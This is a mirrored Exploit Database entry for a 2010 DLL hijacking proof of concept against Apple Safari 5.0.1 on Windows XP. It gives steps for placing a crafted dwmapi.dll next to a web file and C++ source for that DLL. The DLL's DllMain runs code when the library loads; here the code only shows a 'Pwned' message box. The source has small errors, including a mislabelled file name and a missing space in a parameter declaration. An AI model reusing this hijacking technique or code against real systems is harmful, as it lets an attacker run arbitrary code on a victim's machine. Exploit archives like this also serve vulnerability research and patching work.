Apple Safari 5.0.1 – ‘dwmapi.dll’ DLL Hijacking

• Exploit Database
• 14 阅读

• 作者： Secfence
  日期： 2010-08-25
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/14756/

• /*
  Version: Safari 5.0.1
  Tested on: Windows XP SP3
  Author : Secfence
  
  Exploit By:
  Vinay Katoch,
  Secfence Technologies
  www.secfence.com
  http://twitter.com/secfence
  
  Place a .htm .mht .mhtml .xht .xhtm .xhtl file and dwmapi.dll in same folder
  and run file in safari.
  
  Code for dwmapi.dll:
  */
  
  /*----------*/
  
  /* wintab32.cpp */
  
  #include "stdafx.h"
  #include "dragon.h"
  
  void init() {
  MessageBox(NULL,"Pwned", "Pwned!",0x00000003);
  }
  
  
  BOOL APIENTRY DllMain( HANDLE hModule,
   DWORDul_reason_for_call,
   LPVOID lpReserved
  )
  {
  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
  init();break;
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
  break;
  }
  return TRUE;
  }
  
  /*----------*/